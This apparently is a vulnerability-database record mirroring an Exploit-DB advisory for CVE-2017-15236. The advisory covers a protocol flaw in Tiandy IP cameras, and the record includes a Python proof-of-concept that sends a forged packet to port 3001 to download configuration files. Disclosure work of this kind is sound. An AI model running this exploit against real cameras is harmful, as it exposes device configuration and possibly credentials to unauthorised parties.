ID
VAR-E-201708-0006
CVE
cve_id: | CVE-2017-15236 | Trust: 1.0 |
EDB ID
44058
TITLE
Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure - Hardware webapps Exploit
Trust: 0.6
DESCRIPTION
Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure. CVE-2017-15236 . webapps exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | tiandy | model: | ip cameras | scope: | eq | version: | 5.56.17.120 | Trust: 1.6 |
EXPLOIT
## Vulnerability Summary
The following advisory describes sensitive information Disclosure found in Tiandy IP cameras version 5.56.17.120
Tianjin Tiandy Digital Technology Co., Ltd ( Tiandy Tech) is “one of top 10 leading CCTV manufacturer in China and a global supplier of advanced video surveillance solutions.”
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
We tried to contact Tiandy starting from August 16 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.
CVE: CVE-2017-15236
## Vulnerability details
Tiandy uses a proprietary protocol, a flaw in the protocol allows an attacker to forge a request that will return configuration settings of the Tiandy IP camera.
## Proof of Concept
By sending the following request, an attacker can download the following files:
``
config_server.ini
extendword.txt
config_ptz.dat
config_right.dat
config_dg.dat
config_burn.dat
```
## POC.PY
```
import socket
ip = '192.168.1.1'
data1 = '\x74\x1f\x4a\x84\xc8\xa8\xe4\xb3\x18\x7f\xd2\x21\x08\x00\x45\x00\x00\xcc\x3e\x9a\x40\x00\x40\x06\xd4\x13\xac\x10\x65\x75\x6e\x31\xa7\xc7\x43\x5b\x0b\xb9\x85\xbc\x1d\xf0\x5b\x3e\xe8\x32\x50' +
'\x18\x7f\xa4\xc6\xcf\x00\x00\xf1\xf5\xea\xf5\x74\x00\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00' + ip +
'\x09\x50\x52\x4f\x58\x59\x09\x43\x4d\x44\x09\x44\x48\x09\x43\x46\x47\x46\x49\x4c\x45\x09\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x09\x36\x09\x63\x6f\x6e\x66\x69\x67\x5f\x73\x65\x72\x76\x65\x72\x2e' +
'\x69\x6e\x69\x09\x65\x78\x74\x65\x6e\x64\x77\x6f\x72\x64\x2e\x74\x78\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x70\x74\x7a\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x72\x69\x67\x68\x74\x2e' +
'\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x64\x67\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x62\x75\x72\x6e\x2e\x64\x61\x74\x0a\x0a\x0a'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,3001))
s.send(data1)
while True:
buf = s.recv(64)
if not len(buf):
break
print buf
```
Trust: 1.0
EXPLOIT LANGUAGE
md
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Sensitive Information Disclosure
Trust: 1.6
CREDITS
SecuriTeam
Trust: 0.6
EXTERNAL IDS
db: | EXPLOIT-DB | id: | 44058 | Trust: 1.6 |
db: | NVD | id: | CVE-2017-15236 | Trust: 1.0 |
db: | EDBNET | id: | 96640 | Trust: 0.6 |
REFERENCES
url: | https://blogs.securiteam.com/index.php/archives/3444 | Trust: 1.0 |
url: | https://nvd.nist.gov/vuln/detail/cve-2017-15236 | Trust: 1.0 |
url: | https://www.exploit-db.com/exploits/44058/ | Trust: 0.6 |
SOURCES
db: | EXPLOIT-DB | id: | 44058 |
db: | EDBNET | id: | 96640 |
LAST UPDATE DATE
2022-07-27T09:11:28.456000+00:00
SOURCES RELEASE DATE
db: | EXPLOIT-DB | id: | 44058 | date: | 2017-08-03T00:00:00 |
db: | EDBNET | id: | 96640 | date: | 2018-02-15T00:00:00 |